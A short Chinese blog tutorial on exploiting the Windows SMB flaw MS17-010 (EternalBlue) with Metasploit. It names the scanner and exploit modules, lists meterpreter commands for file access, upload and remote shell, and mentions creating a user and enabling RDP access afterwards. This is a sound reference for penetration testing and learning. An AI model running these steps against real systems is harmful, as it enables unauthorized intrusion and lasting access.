yzbtdiy

yzbtdiy

github
bilibili

MS17-010 漏洞利用

使用 Metasploit Framework#

  1. 执行msfconsole命令,进入 msf 终端

  2. 搜索 ms17-010 相关模块
    image

  3. 使用auxiliary/scanner/smb/smb_ms17_010模块进行扫描
    image

  4. 使用exploit/windows/smb/ms17_010_eternalblue模块进行漏洞利用
    image

  5. 漏洞利用成功的到 shell, 使用 help 命令可以查看支持的命令
    image

常用命令:
lcd 切换本地目录
lls 浏览本地文件

cd 切换远端目录
ls 浏览远端文件

upload 本地文件 远端位置 上传文件

shell 调用远端 shell
image

cmd 里可以使用net命令创建用户,添加 rdp 访问权限

image

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.